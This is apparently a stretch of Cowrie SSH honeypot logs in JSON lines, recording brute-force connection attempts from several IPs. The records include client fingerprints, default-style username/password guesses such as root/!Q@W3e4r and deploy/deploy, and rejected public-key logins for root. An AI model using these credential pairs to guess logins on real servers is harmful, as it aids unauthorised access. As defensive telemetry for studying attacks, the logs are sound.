{"eventid":"cowrie.login.failed","username":"ethan","password":"ethan","message":"login attempt [ethan/ethan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:57.913745Z","src_ip":"91.92.42.227","session":"fe9cb1d20d54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:58.519682Z","src_ip":"45.156.87.147","session":"1924f8c1ad46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:59.232949Z","src_ip":"91.92.42.227","session":"fe9cb1d20d54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":45834,"dst_ip":"10.17.0.5","dst_port":22,"session":"e50216d50aa0","protocol":"ssh","message":"New connection: 45.156.87.147:45834 (10.17.0.5:22) [session: e50216d50aa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:02.222335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:02.229122Z","src_ip":"45.156.87.147","session":"e50216d50aa0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:02.310533Z","src_ip":"45.156.87.147","session":"e50216d50aa0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q@W3e4r","message":"login attempt [root/!Q@W3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:02.559756Z","src_ip":"45.156.87.147","session":"e50216d50aa0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":49076,"dst_ip":"10.17.0.5","dst_port":22,"session":"e979b58bc78b","protocol":"ssh","message":"New connection: 91.92.42.227:49076 (10.17.0.5:22) [session: e979b58bc78b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:03.279326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:03.606715Z","src_ip":"91.92.42.227","session":"e979b58bc78b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:03.615757Z","src_ip":"91.92.42.227","session":"e979b58bc78b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:03.645672Z","src_ip":"45.156.87.147","session":"e50216d50aa0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy","message":"login attempt [deploy/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:05.995215Z","src_ip":"91.92.42.227","session":"e979b58bc78b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":45842,"dst_ip":"10.17.0.5","dst_port":22,"session":"61a379441d80","protocol":"ssh","message":"New connection: 45.156.87.147:45842 (10.17.0.5:22) [session: 61a379441d80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:07.166827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:07.176828Z","src_ip":"45.156.87.147","session":"61a379441d80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:07.263923Z","src_ip":"45.156.87.147","session":"61a379441d80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:07.440510Z","src_ip":"91.92.42.227","session":"e979b58bc78b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali","message":"login attempt [ali/ali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:07.515904Z","src_ip":"45.156.87.147","session":"61a379441d80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:08.603970Z","src_ip":"45.156.87.147","session":"61a379441d80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":60008,"dst_ip":"10.17.0.5","dst_port":22,"session":"b85b36e2f281","protocol":"ssh","message":"New connection: 91.92.42.227:60008 (10.17.0.5:22) [session: b85b36e2f281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:11.248064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:11.296066Z","src_ip":"91.92.42.227","session":"b85b36e2f281","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:11.369270Z","src_ip":"91.92.42.227","session":"b85b36e2f281","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian","message":"login attempt [debian/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:11.746839Z","src_ip":"91.92.42.227","session":"b85b36e2f281","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":34330,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fbef2f5fa20","protocol":"ssh","message":"New connection: 45.156.87.147:34330 (10.17.0.5:22) [session: 2fbef2f5fa20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:12.265630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:12.270783Z","src_ip":"45.156.87.147","session":"2fbef2f5fa20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:12.352598Z","src_ip":"45.156.87.147","session":"2fbef2f5fa20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"1","message":"login attempt [cloud/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:12.600550Z","src_ip":"45.156.87.147","session":"2fbef2f5fa20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:12.876916Z","src_ip":"91.92.42.227","session":"b85b36e2f281","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:13.684986Z","src_ip":"45.156.87.147","session":"2fbef2f5fa20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.252.123.105","src_port":44850,"dst_ip":"159.203.135.109","dst_port":22,"session":"14b4222eaf39","protocol":"ssh","message":"New connection: 103.252.123.105:44850 (159.203.135.109:22) [session: 14b4222eaf39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:15.278969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:15.282979Z","src_ip":"103.252.123.105","session":"14b4222eaf39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:15.508780Z","src_ip":"103.252.123.105","session":"14b4222eaf39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.95.20.168","src_port":44882,"dst_ip":"10.17.0.5","dst_port":22,"session":"1aae646ca88b","protocol":"ssh","message":"New connection: 23.95.20.168:44882 (10.17.0.5:22) [session: 1aae646ca88b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:15.748513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:15.753923Z","src_ip":"23.95.20.168","session":"1aae646ca88b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:15.835167Z","src_ip":"23.95.20.168","session":"1aae646ca88b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"df:18:ce:1a:00:34:d5:e3:01:c4:85:fb:c4:7c:a8:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDB0N2wvPpM0alR+pziw4lmgs2fcNbeSFxZijf1n/lscBFq0wCfq5ok1YsbNMedEGOOfeNnJDTLz8iCezb0J9ZnWjW3r7s1d81pqx/rR0Qq5H3aAjXssQmiE9PPgPiKkd23f3QrXQHCwTiUiMxqH5ZS5/gFaGwepT4UBXknzZ3RT6416vSE+yQn0L+bQrtdviw4u2dd9uDhVtheI8klLf16FlOw9Tue4oC5N3nUOUN5ygzTOkmWjXxaRt9TK8ZgU6Mr0JsznAIz3aB7I8362b27wn+z1aRzGgGImBQ2W90FIfD/ljnPpHIAGNN39mLGsrcLlCM6KTugCs58feqN0Dvl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint df:18:ce:1a:00:34:d5:e3:01:c4:85:fb:c4:7c:a8:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:16.216063Z","src_ip":"23.95.20.168","session":"1aae646ca88b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"df:18:ce:1a:00:34:d5:e3:01:c4:85:fb:c4:7c:a8:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDB0N2wvPpM0alR+pziw4lmgs2fcNbeSFxZijf1n/lscBFq0wCfq5ok1YsbNMedEGOOfeNnJDTLz8iCezb0J9ZnWjW3r7s1d81pqx/rR0Qq5H3aAjXssQmiE9PPgPiKkd23f3QrXQHCwTiUiMxqH5ZS5/gFaGwepT4UBXknzZ3RT6416vSE+yQn0L+bQrtdviw4u2dd9uDhVtheI8klLf16FlOw9Tue4oC5N3nUOUN5ygzTOkmWjXxaRt9TK8ZgU6Mr0JsznAIz3aB7I8362b27wn+z1aRzGgGImBQ2W90FIfD/ljnPpHIAGNN39mLGsrcLlCM6KTugCs58feqN0Dvl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:16.218983Z","src_ip":"23.95.20.168","session":"1aae646ca88b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"76:a2:96:90:a0:f6:bf:78:27:20:0e:dc:32:c2:0b:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0qUgsjvxgPu0PTrLlFJYynTanfs4gnhws8eDIGfts1ZazmHJiGVAwAcfBdcEuOTiDv2gu8GuMCpqu+iqx9yWu/9yoGcIQkRpLlmnZm2VSaUkKiBAyJ0b7uTfi0vADlcoGcl49xzWr9C8u7cBx2gYQfUAdvnGXm0R+WAHXIw5nBXIHoiB4d6SiooZ2G77n6MYNEAcXstrZaorkJX9QIuiX+vs7sSDOuHlPCnoz96PQK76Gmq+GRbzgXiBzPv09ktcBYAAPlLiGbXX61pCDRGNHQm28b6lb3MJvEiGrl3GOXksWNIN9jUiCg2IFszewVV2oftTQ6dqeLqo9ehX7XnVjw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 76:a2:96:90:a0:f6:bf:78:27:20:0e:dc:32:c2:0b:3b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:16.305500Z","src_ip":"23.95.20.168","session":"1aae646ca88b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"76:a2:96:90:a0:f6:bf:78:27:20:0e:dc:32:c2:0b:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0qUgsjvxgPu0PTrLlFJYynTanfs4gnhws8eDIGfts1ZazmHJiGVAwAcfBdcEuOTiDv2gu8GuMCpqu+iqx9yWu/9yoGcIQkRpLlmnZm2VSaUkKiBAyJ0b7uTfi0vADlcoGcl49xzWr9C8u7cBx2gYQfUAdvnGXm0R+WAHXIw5nBXIHoiB4d6SiooZ2G77n6MYNEAcXstrZaorkJX9QIuiX+vs7sSDOuHlPCnoz96PQK76Gmq+GRbzgXiBzPv09ktcBYAAPlLiGbXX61pCDRGNHQm28b6lb3MJvEiGrl3GOXksWNIN9jUiCg2IFszewVV2oftTQ6dqeLqo9ehX7XnVjw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:50:16.308343Z","src_ip":"23.95.20.168","session":"1aae646ca88b","protocol":"ssh"}
